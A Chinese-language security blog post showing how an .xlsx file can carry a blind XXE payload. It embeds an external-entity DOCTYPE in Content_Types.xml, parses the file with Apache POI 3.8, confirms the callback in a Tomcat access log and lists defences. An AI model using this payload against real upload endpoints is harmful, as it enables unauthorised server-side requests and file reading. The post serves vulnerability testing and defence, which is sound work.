Excel中的XXE攻击
最近在审计某银行的Java代码时,发现许多上传Excel文件的接口,允许后缀是xslx文件,xslx文件是由xml文件组成的,可以改成.zip的文件后缀名进行解压,所以如果如果没有禁用外部实体,会存在XXE漏洞。下面的测试使用Java语言进行blind-xxe测试。
1、测试环境
解析Excel文件:poi-3.8。
因为测试没有会先,所以利用Spring Boot搭建测试网站,查看日志是否有触发漏洞。
2、修改xslx
利用360压缩打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://127.0.0.1/test.dtd"> ]>
<x>&xxe;</x>
3、测试代码(读取Excel文件)
package com.itkim.tool;
import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.FileInputStream;
/**
* @description: 读取Excel文件
* @author: KimJun
* @date: 19.10.5 23:27
*/
public class ExcelData {
private XSSFSheet sheet;
/**
* 构造函数,初始化excel数据
*
* @param filePath excel路径
* @param sheetName sheet表名
*/
ExcelData(String filePath, String sheetName) throws Exception {
FileInputStream fileInputStream = null;
fileInputStream = new FileInputStream(filePath);
XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
//获取sheet
sheet = sheets.getSheet(sheetName);
}
//打印excel数据
public void readExcelData() {
//获取行数
int rows = sheet.getPhysicalNumberOfRows();
for (int i = 0; i < rows; i++) {
//获取列数
XSSFRow row = sheet.getRow(i);
int columns = row.getPhysicalNumberOfCells();
for (int j = 0; j < columns; j++) {
String cell = row.getCell(j).toString();
System.out.println(cell);
}
}
}
//测试方法
public static void main(String[] args) throws Exception {
ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
sheet1.readExcelData();
}
}
4、测试
在我们的resources/static目录写一个test.dtd文件,启动我们的Tomcat服务器,因为我们使用的是Spring Boot内置的Tomcat,所以我们需要在application.properproperties中设置生成日志文件的位置,然后就可以启动服务器了。
server.port=8080
server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.suffix=.log
server.tomcat.accesslog.prefix=access_log
server.tomcat.accesslog.file-date-format=.yyyy-MM-dd
server.tomcat.basedir=Z:\\springboot-tomcat-log
server.tomcat.accesslog.directory=logs
logging.level.org.apache.tomcat=DEBUG
logging.level.org.apache.catalina=DEBUG
跑一下我们的读取Excel的程序,查看Tomcat的日志如下:
可以看到Tomcat接收到请求,证明存在XXE漏洞。
5、防御
- 禁用外部实体注入
- 升级较新的jar包,进行代码审计工作